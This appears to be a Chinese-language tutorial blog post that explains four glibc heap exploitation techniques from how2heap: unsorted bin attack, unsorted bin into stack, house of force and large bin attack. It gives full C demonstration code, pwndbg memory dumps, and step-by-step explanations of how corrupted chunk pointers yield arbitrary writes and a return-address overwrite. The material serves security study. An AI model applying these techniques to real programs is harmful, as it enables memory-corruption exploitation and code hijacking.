Heap Exploitation - how2heap 3
unosrted_bin_attack
这种攻击可用于将某个地址的值修改为一个比较大的值,也有用于修改global_max_fast后利用fastbin attack的。
int main(){
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");
// 1
unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
unsigned long *p=malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);
free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);
//------------VULNERABILITY----------- 2
p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
//------------------------------------ 3
malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}
这段代码分为三个步骤:
-
在栈上设置了一个我们即将要改写的目标;p指向一块400大小的chunk,一块500大小的chunk(用于防止400大小的chunk被合并到topchunk中);随后free了p,插入到了unsorted bin中,此时,chunk(p)的fd和bk都指向了main arena + 88
pwndbg> x/10gx 0x602000 0x602000: 0x0000000000000000 0x00000000000001a1 0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 -
更改p[1]的值,即chunk(p)->bk = &stack_var - 2,此时 bk指向了伪造的chunk(stack_var - 0x10)的位置,stack_var也就等同于fakeChunk->fd的位置
pwndbg> x/x &stack_var 0x7fffffffdd98: 0x0000000000000000 pwndbg> x/x p[1] 0x7fffffffdd88: 0x00000000004007c6 -
再次分配400大小的chunk。由于此时chunk(p)->bk 指向的是fakeChunk而非unsorted bin本身,所以源码逻辑认为队列中还有一个chunk,p出列后就更改了chunk(p)->bk 也就是fakeChunk的fd,使其指向了
main_arena +88。此时,stack_var的值就被更改了。pwndbg> x/4gx &stack_var -2 0x7fffffffdd88: 0x0000000000400828 0x0000000000400890 0x7fffffffdd98: 0x00007ffff7dd1b78 0x0000000000602010
unsoted_bin_into_stack
上一个case是修改局部变量的值,这次是在栈上伪造一个chunk,用于在栈上指定的地址中写数据。
void jackpot(){ printf("Nice jump d00d\n"); exit(0); }
int main() {
// 1
intptr_t stack_buffer[4] = {0};
printf("Allocating the victim chunk\n");
intptr_t* victim = malloc(0x100);
printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
intptr_t* p1 = malloc(0x100);
printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free(victim);
// 2
printf("Create a fake chunk on the stack");
printf("Set size for next allocation and the bk pointer to any writable address");
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;
//------------VULNERABILITY----------- 3
printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
//------------------------------------ 4
printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
char *p2 = malloc(0x100);
printf("malloc(0x100): %p\n", p2);
// 5
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
assert((long)__builtin_return_address(0) == (long)jackpot);
}
- 这步和上一题的步骤一样,最终unsorted bin中插入了victim
- 在stack_buffer+1的位置构造一个size: 0x110,以及一个bk指针,指向stack_buffer本身
- 这步是模拟重写的漏洞,使victim-1的位置,也就是将chunksize(victim)改为0x20,在victim+1的位置构造了一个fd指针,指向stack_buffer。这样下一步malloc(0x100)就会取出stack_buffer位置的fake chunk
-
p2指向一个0x100的chunk。p2的地址 == stack_buffer+2的地址
pwndbg> x/x p2 0x7fffffffdd80: 0x00007ffff7dd1b78 pwndbg> x/x stack_buffer +2 0x7fffffffdd80: 0x00007ffff7dd1b78 - 最后获取目标函数地址,将其写在p2+40的位置,覆盖掉ret地址,并且绕过stack-smash检查,完成攻击
house_of_force
这是一个利用top chunk攻击的案例,通过将top chunk的size改成一个非常大的数值,导致无论多大的malloc都不会去通过mmap分配。随后通过获取目标地址和top chunk地址的差值,来达到任意地址写的目的。
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
// 1
intptr_t *p1 = malloc(256);
fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);
fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
int real_size = malloc_usable_size(p1);
fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);
// 2
fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");
//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);
fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
//------------------------
fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n");
// 3
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
// 4
void* ctr_chunk = malloc(100);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "Now, we can finally overwrite that value:\n");
fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);
assert(ctr_chunk == bss_var);
}
- p1指向一块256大小的内存,此时top chunk 被分割成来两部分。获取p1的实际大小。
- 通过
p1+real_size-sizeof(long)获取top chunk的指针,然后改写top chunk的size为-1,这样即便malloc一块大内存也不会去调用mmap了 -
计算bss_var 和ptr_top之间的距离,将其作为参数进行malloc,这样下次malloc就能够获取bss_var的指针的了。这里有个式子第一眼看上去不太明了,需要拆解一下:
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;我们所要达到的目的是通过ptr_top的指针,加上一定值(第一次malloc),能够到达bss_var - 0x10的地址,这样第二次malloc就能够改写bss_var 的值了。由于ptr_top指向的是topchunk,所以公式是:
ptr_top + 0x10 + x = dest - 0x10,得x = dest - 0x10 - ptr_top - 0x10 - ctr_chunk指向一块100大小的内存,它的地址 == bss_var,改写ctr_chunk完成攻击。
large_bin_attack
这个是通过利用large bin的插入逻辑漏洞来完成攻击。这段代码主要目的是更改stack_var1和stack_var2的值。代码开头的注释提供来源码的逻辑:
/*
This technique is taken from
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/
[...]
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
[...]
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
For more details on how large-bins are handled and sorted by ptmalloc,
please check the Background section in the aforementioned link.
[...]
*/
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
int main()
{
fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsigned long *p1 = malloc(0x420);
fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n");
malloc(0x20);
unsigned long *p2 = malloc(0x500);
fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n");
malloc(0x20);
unsigned long *p3 = malloc(0x500);
fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n");
malloc(0x20);
// 1
free(p1);
// 2
free(p2);
fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
// 3
malloc(0x90);
fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n", (void *)((char *)p1 + 0x90));
// 4
free(p3);
fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n");
fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
// 5
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
//------------------------------------
// 6
malloc(0x90);
fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n");
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
// sanity check
assert(stack_var1 != 0);
assert(stack_var2 != 0);
return 0;
}
最上面一部分代码分配了5个chunk,主要看p1,p2,p3,其余的代码划分为6个部分:
- 释放p1,此时unsorted bin中插入了chunk(p1)
- 释放p2,unsorted bin中插入chunk(p2)
- malloc(0x90) 这步会先查找unsorted bin,unsorted bin中第一个chunk是p2,p2不是最后一个块,而且它满足large bin的大小,所以p2被插入到large bin中。随后看p1,p1由于是unsorted bin中最后一个chunk,所以会被分割,将0x90大小返回给程序,剩余部分仍然放在unsorted bin中。所以此时: unsorted bin -> chunk(p1)+0x100; large bin -> chunk(p2)
- 释放p3,chunk(p3)被插入unsorted bin
- 为了使再次malloc后让p3成为large bin的第一个chunk,需要将p2的size改成比p3的size小的数值;又因为malloc后p2->bk_nextsize->fd_nextsize,p2->bk->fd 这两个指针会指向chunk(p3),所以为了更改栈上两个变量的值,我们需要将p2->bk指向&stack_var1 - 2的地址,p2->bk_nextsize指向stack_var2 - 4的地址。所以才又了这部分代码
- 最后malloc(0x90)就完成了上一步的计划,完成栈上值的覆写。